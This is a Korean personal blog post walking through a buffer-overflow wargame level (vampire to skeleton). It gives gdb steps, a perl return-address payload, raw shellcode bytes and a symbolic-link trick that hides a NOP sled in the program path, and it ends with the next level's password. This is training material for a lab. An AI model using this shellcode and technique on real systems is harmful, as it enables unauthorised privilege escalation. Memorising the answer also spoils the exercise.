심심해서 하는 블로그 :: [버퍼 오버플로우] Bof 원정대 (vampire -> skelton)

1. 취약점



이번에는 argv를 전부 0으로 초기화 시켜버리는 강력한 녀석이 등장했다..

buffer[40]도 초기화, 환경변수 부분도 초기화 시켜버리니까 이제 어디에 쉘코드를 두어야 하는지..ㅠㅠ

그래도 어딘가는 초기화가 안되는 곳이 있으니까 이런 문제를 냈겠지하고 argv 구간을 뒤져보기 시작했다.


$ bash2

$ cp skeleton.c /tmp/skeleton.c && cd /tmp

$ gcc -g -o skeleton skeleton.c

$ gdb -q ./skeleton

(gdb) b *main+3

(gdb)  r `perl -e 'print "A"x44, "\xfe\xbf\xfe\xbf"'`




argv의 주소로 이동하여 환경 변수 영역을 살펴보니까 처음에 argv[0]으로 받는 파일 경로를 제외하고

스택의 바닥에 또 다른 파일 경로가 존재한다. 얘도 어쩌피 없어지겠지 하고 cont 명령을 해보니까..



??!! 바퀴벌레세요??!! 각 종 영역을 초기화하는 memset 속에 살아 남은 파일 경로

이번에도 심볼릭 링크를 활용한다!!


2. Exploit

1. bash2를 사용하고 skeleton.c 파일을 계정의 홈 폴더에 복사한다 

$ bash2

$ cd ~

$ cp skeleton.c skeleto1.c 


2.  gcc로 컴파일 한후 심볼릭 링크를 만들고 gdb로 디버깅을 한다. 

$ gcc -g -o skeleto1 skeleto1.c

$ ln -s  skeleto1 `perl -e 'print "A", "\x90"x50, "\B"x39'`

$ gdb -q ./A [ Tab 키 : 자동 완성 ]


3.  중단점은 초기부분에 설정하고 실행한다.

(gdb) b *main+3

(gdb) r `perl -e 'print "A"x44, "\xfe\xbf\xfe\xbf"'`



역시 살아 있군.. 새로운 Return Address는 0xbfffff93 + strlen("/home/vampire/A") = 0xbfffffa2에서 nop코드가 수행하니까 0xbfffffa8로 정했다


4. 쉘코드를 만들거나 웹에서 주어온다♥

\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3



5. 원본파일의 심볼릭 링크를 만든다. 그리고 괴롭혀준다..

$ ln -s skeleton `perl -e 'print "A", "\x90"x50, "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`

$ /home/vampire/A[Tab] `perl -e 'print "A"x44, "\xa8\xff\xff\xbf"'`



7. 결과

   id :  skeleton   passwd : shellcoder

,